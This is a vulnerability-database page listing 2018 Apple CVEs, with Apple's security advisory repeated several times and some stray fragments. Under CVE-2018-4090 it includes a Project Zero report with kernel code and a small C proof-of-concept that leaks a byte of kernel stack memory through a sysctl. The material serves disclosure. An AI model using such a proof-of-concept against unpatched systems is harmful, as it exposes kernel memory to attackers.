VARIoT IoT vulnerabilities database
| VAR-201804-1201 | CVE-2018-4087 | plural Apple Product Core Bluetooth Component vulnerable to arbitrary code execution in privileged context |
CVSS V2: 9.3 CVSS V3: 7.8 Severity: HIGH |
An issue was discovered in certain Apple products. iOS before 11.2.5 is affected. tvOS before 11.2.5 is affected. watchOS before 4.2.2 is affected. The issue involves the "Core Bluetooth" component. It allows attackers to execute arbitrary code in a privileged context or cause a denial of service (memory corruption) via a crafted app. Apple iOS, tvOS and watchOS are prone to multiple memory corruption vulnerabilities.
An attacker can leverage these issues to execute arbitrary code with system privileges. Failed exploit attempts will likely result in denial-of-service conditions. in the United States. Apple iOS is an operating system developed for mobile devices; tvOS is a smart TV operating system; watchOS is a smart watch operating system. A security vulnerability exists in the Core Bluetooth component in Apple iOS prior to 11.2.5, tvOS prior to 11.2.5, and watchOS prior to 4.2.2. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
APPLE-SA-2018-1-23-1 iOS 11.2.5
iOS 11.2.5 is now available and addresses the following:
Audio
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted audio file may lead to
arbitrary code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2018-4094: Mingi Cho, MinSik Shin, Seoyoung Kim, Yeongho Lee and
Taekyoung Kwon of the Information Security Lab, Yonsei University
Core Bluetooth
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4087: Rani Idan (@raniXCH) of Zimperium zLabs Team
CVE-2018-4095: Rani Idan (@raniXCH) of Zimperium zLabs Team
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A memory initialization issue was addressed through
improved memory handling.
CVE-2018-4090: Jann Horn of Google Project Zero
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A race condition was addressed through improved locking.
CVE-2018-4092: an anonymous researcher
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A malicious application may be able to execute arbitrary code
with kernel privileges
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2018-4082: Russ Cox of Google
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2018-4093: Jann Horn of Google Project Zero
LinkPresentation
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted text message may lead to
application denial of service
Description: A resource exhaustion issue was addressed through
improved input validation.
CVE-2018-4100: Abraham Masri (@cheesecakeufo)
QuartzCore
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: A memory corruption issue existed in the processing of
web content. This issue was addressed through improved input
validation.
CVE-2018-4085: Ret2 Systems Inc. working with Trend Micro's Zero Day
Initiative
Security
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A certificate may have name constraints applied incorrectly
Description: A certificate evaluation issue existed in the handling
of name constraints. This issue was addressed through improved trust
evaluation of certificates.
CVE-2018-4086: Ian Haken of Netflix
WebKit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: Multiple memory corruption issues were addressed with
improved memory handling.
CVE-2018-4088: Jeonghoon Shin of Theori
CVE-2018-4089: Ivan Fratric of Google Project Zero
CVE-2018-4096: found by OSS-Fuzz
Installation note:
This update is available through iTunes and Software Update on your
iOS device, and will not appear in your computer's Software Update
application, or in the Apple Downloads site. Make sure you have an
Internet connection and have installed the latest version of iTunes
from https://www.apple.com/itunes/
iTunes and Software Update on the device will automatically check
Apple's update server on its weekly schedule. When an update is
detected, it is downloaded and the option to be installed is
presented to the user when the iOS device is docked. We recommend
applying the update immediately if possible. Selecting Don't Install
will present the option the next time you connect your iOS device.
The automatic update process may take up to a week depending on the
day that iTunes or the device checks for updates. You may manually
obtain the update via the Check for Updates button within iTunes, or
the Software Update on your device.
To check that the iPhone, iPod touch, or iPad has been updated:
* Navigate to Settings
* Select General
* Select About. The version after applying this update
will be "11.2.5".
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
iQJdBAEBCgBHFiEEcuX4rtoRe4X62yWlg6PvjDRstEYFAlpng6cpHHByb2R1Y3Qt
c2VjdXJpdHktbm9yZXBseUBsaXN0cy5hcHBsZS5jb20ACgkQg6PvjDRstEbJVxAA
y2gRrvCCEzescN0fgqNk8zIGqaiFRKXYEyuaHMgXjrJIh8OlBgLb3pegU6MFfTsv
SjNLDKvPIOW/2vV8ilS6ot32DB4VTANjHKCWTs3jmJrQlWh2VZKvPnzyOiQ0zK2g
Btt4+1ZYipRuCyWkf0oatW9JHsCscVexzERyczywBdEzx1mCnCF4N3uOYU0T3Nx2
7Wz92GnvTAnJWjlCJEK1wq/YCntEFhssBVmsWQU1LVPFHoh8uPa87iE/+P1t0CY1
IQLloYmPoX9GIS/CB7XAsEsz3RquE8n/DigSvsApkrl6Judv/HgCYe5GJcwIIemi
1RyNXtj3/+CVZYSwC2Fo/CSyph1M+td79Klqy4gdCVt0KnlmwkKhSexhuQsKn68A
/WTcOK7aidcdVuQpjUJAc3pJunl0zHg5bCJRzrb2NdFEoYT0V+kxLEKGlOWRLhXv
NSn9+f7pMykSCbfo9U9HkYm68JDtN/WANMCJccF66iQYjEhg0Rgok3oKhNOhakwH
HDYunzqF2dEql4WiAKiEAHwVVQ5gJtjDWest6s6UW58fiT2fxufaJav5gczv/wmy
km/doFT9+BKmRXygwXdR6P3oRFhZmeLVvjtKpfjPzuIvHkwS7wlOw3aWnZ0rMijm
pp7WyqEojXjOxyZjTeBM3A7ssxIuO5BoLtIHgT4GSNg=
=F6+9
-----END PGP SIGNATURE-----
.
Alternatively, on your watch, select "My Watch > General > About"
| VAR-201804-1204 | CVE-2018-4090 | plural Apple Vulnerability in the kernel component of the product that bypasses memory read restrictions |
CVSS V2: 4.3 CVSS V3: 5.5 Severity: MEDIUM |
An issue was discovered in certain Apple products. iOS before 11.2.5 is affected. macOS before 10.13.3 is affected. tvOS before 11.2.5 is affected. watchOS before 4.2.2 is affected. The issue involves the "Kernel" component. It allows attackers to bypass intended memory-read restrictions via a crafted app. plural Apple A vulnerability exists in the product kernel component that bypasses memory read restrictions.An attacker could bypass the memory read limit through a crafted application. Apple iOS/WatchOS/tvOS/macOS are prone to multiple security vulnerabilities.
An attacker can exploit these issues to execute arbitrary code with kernel or system privileges, gain sensitive information, bypass security restrictions and perform unauthorized actions and or cause a denial-of-service condition. Apple iOS, macOS High Sierra, tvOS, and watchOS are all products of Apple Inc. in the United States. Apple iOS is an operating system developed for mobile devices; macOS High Sierra is a dedicated operating system developed for Mac computers; tvOS is a smart TV operating system. watchOS is a smart watch operating system. The following products and versions are affected: Apple iOS prior to 11.2.5; macOS High Sierra prior to 10.13.3; watchOS prior to 4.2.2; tvOS prior to 11.2.5. MacOS sysctl_vfs_generic_conf stack leak through struct padding
CVE-2018-4090
The sysctls vfs.generic.conf.* are handled by sysctl_vfs_generic_conf(), which is implemented as follows:
static int
sysctl_vfs_generic_conf SYSCTL_HANDLER_ARGS
{
int *name, namelen;
struct vfstable *vfsp;
struct vfsconf vfsc;
(void)oidp;
name = arg1;
namelen = arg2;
[check for namelen==1]
mount_list_lock();
for (vfsp = vfsconf; vfsp; vfsp = vfsp->vfc_next)
if (vfsp->vfc_typenum == name[0])
break;
if (vfsp == NULL) {
mount_list_unlock();
return (ENOTSUP);
}
vfsc.vfc_reserved1 = 0;
bcopy(vfsp->vfc_name, vfsc.vfc_name, sizeof(vfsc.vfc_name));
vfsc.vfc_typenum = vfsp->vfc_typenum;
vfsc.vfc_refcount = vfsp->vfc_refcount;
vfsc.vfc_flags = vfsp->vfc_flags;
vfsc.vfc_reserved2 = 0;
vfsc.vfc_reserved3 = 0;
mount_list_unlock();
return (SYSCTL_OUT(req, &vfsc, sizeof(struct vfsconf)));
}
`struct vfsconf` is defined as follows:
struct vfsconf {
uint32_t vfc_reserved1; /* opaque */
char vfc_name[MFSNAMELEN]; /* filesystem type name */
int vfc_typenum; /* historic filesystem type number */
int vfc_refcount; /* number mounted of this type */
int vfc_flags; /* permanent flags */
uint32_t vfc_reserved2; /* opaque */
uint32_t vfc_reserved3; /* opaque */
};
`MFSNAMELEN` is defined as follows:
#define MFSNAMELEN 15 /* length of fs type name, not inc. null */
#define MFSTYPENAMELEN 16 /* length of fs type name including null */
This means that one byte of uninitialized padding exists between `vfc_name` and `vfc_typenum`. This is the diff of two runs over the fuzzer queue with different stack poison values (0xcc and 0xdd):
--- traces_cc_/id:018803,src:012522,op:havoc,rep:2,+cov 2017-11-06 13:08:41.486752415 +0100
+++ traces_dd_/id:018803,src:012522,op:havoc,rep:2,+cov 2017-11-06 13:08:56.583413293 +0100
@@ -1,19 +1,19 @@
loaded 72 bytes fuzzdata
USER READ: addr 0xffffffffffffffff, size 8, value 0x00000600020000ca
USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000000003
USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000000004
USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000060000
USER READ: addr 0xffffffffffffffff, size 8, value 0x00ea800500000010
USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000010003
USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000000000
syscall(rax=0x600020000ca, args=[0x3, 0x4, 0x60000, 0xea800500000010, 0x10003, 0x0]); rsp=0x7ffee418eda8
USER READ: addr 0x3, size 8, value 0x0000000000000003
USER READ: addr 0xb, size 8, value 0x0000001700000002
USER WRITE: addr 0x60000, size 8, value 0x0073666800000000
USER WRITE: addr 0x60008, size 8, value 0x0000000000000000
-USER WRITE: addr 0x60010, size 8, value 0x00000017cc000000
+USER WRITE: addr 0x60010, size 8, value 0x00000017dd000000
USER WRITE: addr 0x60018, size 8, value 0x0000100000000001
USER WRITE: addr 0x60020, size 8, value 0x0000000000000000
sysret
OUT OF FUZZER INPUT DATA - REWINDING
REWIND! (trigger_exception=0x10006; cycles=7)
Verified on a Macmini7,1 running macOS 10.13 (17A405), Darwin 17.0.0:
$ cat sysctl_conf_test.c
#include <stdlib.h>
#include <err.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/mount.h>
struct vfsconf_withpad {
int reserved1;
char name[15];
unsigned char pad1;
int typenum;
int refcount;
int flags;
int reserved2;
int reserved3;
};
int main(void) {
int name[] = { CTL_VFS, VFS_GENERIC, VFS_CONF, 0x17 };
static struct vfsconf_withpad conf;
size_t outlen = sizeof(conf);
if (sysctl(name, sizeof(name)/sizeof(name[0]), &conf, &outlen, NULL, 0))
err(1, "sysctl");
if (outlen != sizeof(conf))
errx(1, "outlen != sizeof(conf)");
printf("name=%.15s pad1=0x%02hhx typenum=%d refcount=%d flags=%d\n",
conf.name, conf.pad1, conf.typenum, conf.refcount, conf.flags);
}
$ gcc -o sysctl_conf_test sysctl_conf_test.c -Wall
$ ./sysctl_conf_test
name=hfs pad1=0x24 typenum=23 refcount=2 flags=4096
$ ./sysctl_conf_test
name=hfs pad1=0x26 typenum=23 refcount=2 flags=4096
$ ./sysctl_conf_test
name=hfs pad1=0x24 typenum=23 refcount=2 flags=4096
$ ./sysctl_conf_test
name=hfs pad1=0x23 typenum=23 refcount=2 flags=4096
$ ./sysctl_conf_test
name=hfs pad1=0x23 typenum=23 refcount=2 flags=4096
$ ./sysctl_conf_test
name=hfs pad1=0x26 typenum=23 refcount=2 flags=4096
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: jannh
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
APPLE-SA-2018-1-23-1 iOS 11.2.5
iOS 11.2.5 is now available and addresses the following:
Audio
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted audio file may lead to
arbitrary code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2018-4094: Mingi Cho, MinSik Shin, Seoyoung Kim, Yeongho Lee and
Taekyoung Kwon of the Information Security Lab, Yonsei University
Core Bluetooth
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4087: Rani Idan (@raniXCH) of Zimperium zLabs Team
CVE-2018-4095: Rani Idan (@raniXCH) of Zimperium zLabs Team
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A memory initialization issue was addressed through
improved memory handling.
CVE-2018-4090: Jann Horn of Google Project Zero
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A race condition was addressed through improved locking.
CVE-2018-4092: an anonymous researcher
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A malicious application may be able to execute arbitrary code
with kernel privileges
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2018-4082: Russ Cox of Google
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2018-4093: Jann Horn of Google Project Zero
LinkPresentation
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted text message may lead to
application denial of service
Description: A resource exhaustion issue was addressed through
improved input validation.
CVE-2018-4100: Abraham Masri (@cheesecakeufo)
QuartzCore
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: A memory corruption issue existed in the processing of
web content. This issue was addressed through improved input
validation.
CVE-2018-4085: Ret2 Systems Inc. working with Trend Micro's Zero Day
Initiative
Security
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A certificate may have name constraints applied incorrectly
Description: A certificate evaluation issue existed in the handling
of name constraints. This issue was addressed through improved trust
evaluation of certificates.
CVE-2018-4086: Ian Haken of Netflix
WebKit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: Multiple memory corruption issues were addressed with
improved memory handling.
CVE-2018-4088: Jeonghoon Shin of Theori
CVE-2018-4089: Ivan Fratric of Google Project Zero
CVE-2018-4096: found by OSS-Fuzz
Installation note:
This update is available through iTunes and Software Update on your
iOS device, and will not appear in your computer's Software Update
application, or in the Apple Downloads site. Make sure you have an
Internet connection and have installed the latest version of iTunes
from https://www.apple.com/itunes/
iTunes and Software Update on the device will automatically check
Apple's update server on its weekly schedule. When an update is
detected, it is downloaded and the option to be installed is
presented to the user when the iOS device is docked. We recommend
applying the update immediately if possible. Selecting Don't Install
will present the option the next time you connect your iOS device.
The automatic update process may take up to a week depending on the
day that iTunes or the device checks for updates. You may manually
obtain the update via the Check for Updates button within iTunes, or
the Software Update on your device.
To check that the iPhone, iPod touch, or iPad has been updated:
* Navigate to Settings
* Select General
* Select About. The version after applying this update
will be "11.2.5".
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
iQJdBAEBCgBHFiEEcuX4rtoRe4X62yWlg6PvjDRstEYFAlpng6cpHHByb2R1Y3Qt
c2VjdXJpdHktbm9yZXBseUBsaXN0cy5hcHBsZS5jb20ACgkQg6PvjDRstEbJVxAA
y2gRrvCCEzescN0fgqNk8zIGqaiFRKXYEyuaHMgXjrJIh8OlBgLb3pegU6MFfTsv
SjNLDKvPIOW/2vV8ilS6ot32DB4VTANjHKCWTs3jmJrQlWh2VZKvPnzyOiQ0zK2g
Btt4+1ZYipRuCyWkf0oatW9JHsCscVexzERyczywBdEzx1mCnCF4N3uOYU0T3Nx2
7Wz92GnvTAnJWjlCJEK1wq/YCntEFhssBVmsWQU1LVPFHoh8uPa87iE/+P1t0CY1
IQLloYmPoX9GIS/CB7XAsEsz3RquE8n/DigSvsApkrl6Judv/HgCYe5GJcwIIemi
1RyNXtj3/+CVZYSwC2Fo/CSyph1M+td79Klqy4gdCVt0KnlmwkKhSexhuQsKn68A
/WTcOK7aidcdVuQpjUJAc3pJunl0zHg5bCJRzrb2NdFEoYT0V+kxLEKGlOWRLhXv
NSn9+f7pMykSCbfo9U9HkYm68JDtN/WANMCJccF66iQYjEhg0Rgok3oKhNOhakwH
HDYunzqF2dEql4WiAKiEAHwVVQ5gJtjDWest6s6UW58fiT2fxufaJav5gczv/wmy
km/doFT9+BKmRXygwXdR6P3oRFhZmeLVvjtKpfjPzuIvHkwS7wlOw3aWnZ0rMijm
pp7WyqEojXjOxyZjTeBM3A7ssxIuO5BoLtIHgT4GSNg=
=F6+9
-----END PGP SIGNATURE-----
.
CVE-2018-4098: Siguza
Kernel
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: An application may be able to read kernel memory (Meltdown)
Description: Systems with microprocessors utilizing speculative
execution and indirect branch prediction may allow unauthorized
disclosure of information to an attacker with local user access via
a side-channel analysis of the data cache.
CVE-2017-5754: Jann Horn of Google Project Zero; Moritz Lipp of
Graz University of Technology; Michael Schwarz of Graz University of
Technology; Daniel Gruss of Graz University of Technology;
Thomas Prescher of Cyberus Technology GmbH; Werner Haas of Cyberus
Technology GmbH; Stefan Mangard of Graz University of Technology;
Paul Kocher; Daniel Genkin of University of Pennsylvania and
University of Maryland; Yuval Yarom of University of Adelaide and
Data61; and Mike Hamburg of Rambus (Cryptography Research Division)
Kernel
Available for: macOS High Sierra 10.13.2
Impact: An application may be able to read restricted memory
Description: A memory initialization issue was addressed through
improved memory handling.
CVE-2018-4097: Resecurity, Inc.
Alternatively, on your watch, select "My Watch > General > About"
| VAR-201804-1200 | CVE-2018-4086 | plural Apple Vulnerability in product security components spoofing certificate evaluation |
CVSS V2: 4.3 CVSS V3: 5.9 Severity: MEDIUM |
An issue was discovered in certain Apple products. iOS before 11.2.5 is affected. macOS before 10.13.3 is affected. tvOS before 11.2.5 is affected. watchOS before 4.2.2 is affected. The issue involves the "Security" component. It allows remote attackers to spoof certificate validation via crafted name constraints. Apple iOS/WatchOS/tvOS/macOS are prone to multiple security vulnerabilities.
An attacker can exploit these issues to execute arbitrary code with kernel or system privileges, gain sensitive information, bypass security restrictions and perform unauthorized actions and or cause a denial-of-service condition. Apple iOS, macOS High Sierra, tvOS, and watchOS are all products of Apple Inc. in the United States. Apple iOS is an operating system developed for mobile devices; macOS High Sierra is a dedicated operating system developed for Mac computers; tvOS is a smart TV operating system; watchOS is a smart watch operating system. A remote attacker can exploit this vulnerability to prevent the device from properly using name restrictions on certificates. The following products and versions are affected: Apple iOS prior to 11.2.5; macOS High Sierra prior to 10.13.3; watchOS prior to 4.2.2; tvOS prior to 11.2.5. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
APPLE-SA-2018-1-23-1 iOS 11.2.5
iOS 11.2.5 is now available and addresses the following:
Audio
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted audio file may lead to
arbitrary code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2018-4094: Mingi Cho, MinSik Shin, Seoyoung Kim, Yeongho Lee and
Taekyoung Kwon of the Information Security Lab, Yonsei University
Core Bluetooth
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4087: Rani Idan (@raniXCH) of Zimperium zLabs Team
CVE-2018-4095: Rani Idan (@raniXCH) of Zimperium zLabs Team
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A memory initialization issue was addressed through
improved memory handling.
CVE-2018-4090: Jann Horn of Google Project Zero
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A race condition was addressed through improved locking.
CVE-2018-4092: an anonymous researcher
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A malicious application may be able to execute arbitrary code
with kernel privileges
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2018-4082: Russ Cox of Google
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2018-4093: Jann Horn of Google Project Zero
LinkPresentation
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted text message may lead to
application denial of service
Description: A resource exhaustion issue was addressed through
improved input validation.
CVE-2018-4100: Abraham Masri (@cheesecakeufo)
QuartzCore
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: A memory corruption issue existed in the processing of
web content. This issue was addressed through improved input
validation.
CVE-2018-4085: Ret2 Systems Inc. working with Trend Micro's Zero Day
Initiative
Security
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A certificate may have name constraints applied incorrectly
Description: A certificate evaluation issue existed in the handling
of name constraints. This issue was addressed through improved trust
evaluation of certificates.
CVE-2018-4086: Ian Haken of Netflix
WebKit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: Multiple memory corruption issues were addressed with
improved memory handling.
CVE-2018-4088: Jeonghoon Shin of Theori
CVE-2018-4089: Ivan Fratric of Google Project Zero
CVE-2018-4096: found by OSS-Fuzz
Installation note:
This update is available through iTunes and Software Update on your
iOS device, and will not appear in your computer's Software Update
application, or in the Apple Downloads site. Make sure you have an
Internet connection and have installed the latest version of iTunes
from https://www.apple.com/itunes/
iTunes and Software Update on the device will automatically check
Apple's update server on its weekly schedule. When an update is
detected, it is downloaded and the option to be installed is
presented to the user when the iOS device is docked. We recommend
applying the update immediately if possible. Selecting Don't Install
will present the option the next time you connect your iOS device.
The automatic update process may take up to a week depending on the
day that iTunes or the device checks for updates. You may manually
obtain the update via the Check for Updates button within iTunes, or
the Software Update on your device.
To check that the iPhone, iPod touch, or iPad has been updated:
* Navigate to Settings
* Select General
* Select About. The version after applying this update
will be "11.2.5".
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
iQJdBAEBCgBHFiEEcuX4rtoRe4X62yWlg6PvjDRstEYFAlpng6cpHHByb2R1Y3Qt
c2VjdXJpdHktbm9yZXBseUBsaXN0cy5hcHBsZS5jb20ACgkQg6PvjDRstEbJVxAA
y2gRrvCCEzescN0fgqNk8zIGqaiFRKXYEyuaHMgXjrJIh8OlBgLb3pegU6MFfTsv
SjNLDKvPIOW/2vV8ilS6ot32DB4VTANjHKCWTs3jmJrQlWh2VZKvPnzyOiQ0zK2g
Btt4+1ZYipRuCyWkf0oatW9JHsCscVexzERyczywBdEzx1mCnCF4N3uOYU0T3Nx2
7Wz92GnvTAnJWjlCJEK1wq/YCntEFhssBVmsWQU1LVPFHoh8uPa87iE/+P1t0CY1
IQLloYmPoX9GIS/CB7XAsEsz3RquE8n/DigSvsApkrl6Judv/HgCYe5GJcwIIemi
1RyNXtj3/+CVZYSwC2Fo/CSyph1M+td79Klqy4gdCVt0KnlmwkKhSexhuQsKn68A
/WTcOK7aidcdVuQpjUJAc3pJunl0zHg5bCJRzrb2NdFEoYT0V+kxLEKGlOWRLhXv
NSn9+f7pMykSCbfo9U9HkYm68JDtN/WANMCJccF66iQYjEhg0Rgok3oKhNOhakwH
HDYunzqF2dEql4WiAKiEAHwVVQ5gJtjDWest6s6UW58fiT2fxufaJav5gczv/wmy
km/doFT9+BKmRXygwXdR6P3oRFhZmeLVvjtKpfjPzuIvHkwS7wlOw3aWnZ0rMijm
pp7WyqEojXjOxyZjTeBM3A7ssxIuO5BoLtIHgT4GSNg=
=F6+9
-----END PGP SIGNATURE-----
.
CVE-2018-4098: Siguza
Kernel
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: An application may be able to read kernel memory (Meltdown)
Description: Systems with microprocessors utilizing speculative
execution and indirect branch prediction may allow unauthorized
disclosure of information to an attacker with local user access via
a side-channel analysis of the data cache.
CVE-2017-5754: Jann Horn of Google Project Zero; Moritz Lipp of
Graz University of Technology; Michael Schwarz of Graz University of
Technology; Daniel Gruss of Graz University of Technology;
Thomas Prescher of Cyberus Technology GmbH; Werner Haas of Cyberus
Technology GmbH; Stefan Mangard of Graz University of Technology;
Paul Kocher; Daniel Genkin of University of Pennsylvania and
University of Maryland; Yuval Yarom of University of Adelaide and
Data61; and Mike Hamburg of Rambus (Cryptography Research Division)
Kernel
Available for: macOS High Sierra 10.13.2
Impact: An application may be able to read restricted memory
Description: A memory initialization issue was addressed through
improved memory handling.
CVE-2018-4097: Resecurity, Inc.
Alternatively, on your watch, select "My Watch > General > About"
| VAR-201804-1210 | CVE-2018-4096 | plural Apple Used in products WebKit Vulnerability in arbitrary code execution in components |
CVSS V2: 6.8 CVSS V3: 8.8 Severity: HIGH |
An issue was discovered in certain Apple products. iOS before 11.2.5 is affected. macOS before 10.13.3 is affected. Safari before 11.0.3 is affected. iCloud before 7.3 on Windows is affected. iTunes before 12.7.3 on Windows is affected. tvOS before 11.2.5 is affected. watchOS before 4.2.2 is affected. The issue involves the "WebKit" component. It allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site. WebKit is prone to multiple memory corruption vulnerabilities. Failed exploit attempts may result in a denial-of-service condition. Apple iOS is an operating system developed for mobile devices; iCloud for Windows is a cloud service based on the Windows platform; iTunes for Windows is a set of media player applications based on the Windows platform. WebKit is one of the web browser engine components. Versions earlier than 2; versions earlier than macOS High Sierra 10.13.3; iCloud versions earlier than 7.3 based on the Windows platform. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
APPLE-SA-2018-1-23-1 iOS 11.2.5
iOS 11.2.5 is now available and addresses the following:
Audio
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted audio file may lead to
arbitrary code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2018-4094: Mingi Cho, MinSik Shin, Seoyoung Kim, Yeongho Lee and
Taekyoung Kwon of the Information Security Lab, Yonsei University
Core Bluetooth
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4087: Rani Idan (@raniXCH) of Zimperium zLabs Team
CVE-2018-4095: Rani Idan (@raniXCH) of Zimperium zLabs Team
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A memory initialization issue was addressed through
improved memory handling.
CVE-2018-4090: Jann Horn of Google Project Zero
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A race condition was addressed through improved locking.
CVE-2018-4092: an anonymous researcher
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A malicious application may be able to execute arbitrary code
with kernel privileges
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2018-4082: Russ Cox of Google
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2018-4093: Jann Horn of Google Project Zero
LinkPresentation
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted text message may lead to
application denial of service
Description: A resource exhaustion issue was addressed through
improved input validation.
CVE-2018-4100: Abraham Masri (@cheesecakeufo)
QuartzCore
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: A memory corruption issue existed in the processing of
web content. This issue was addressed through improved input
validation.
CVE-2018-4085: Ret2 Systems Inc. working with Trend Micro's Zero Day
Initiative
Security
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A certificate may have name constraints applied incorrectly
Description: A certificate evaluation issue existed in the handling
of name constraints. This issue was addressed through improved trust
evaluation of certificates.
CVE-2018-4086: Ian Haken of Netflix
WebKit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: Multiple memory corruption issues were addressed with
improved memory handling.
CVE-2018-4088: Jeonghoon Shin of Theori
CVE-2018-4089: Ivan Fratric of Google Project Zero
CVE-2018-4096: found by OSS-Fuzz
Installation note:
This update is available through iTunes and Software Update on your
iOS device, and will not appear in your computer's Software Update
application, or in the Apple Downloads site. Make sure you have an
Internet connection and have installed the latest version of iTunes
from https://www.apple.com/itunes/
iTunes and Software Update on the device will automatically check
Apple's update server on its weekly schedule. When an update is
detected, it is downloaded and the option to be installed is
presented to the user when the iOS device is docked. We recommend
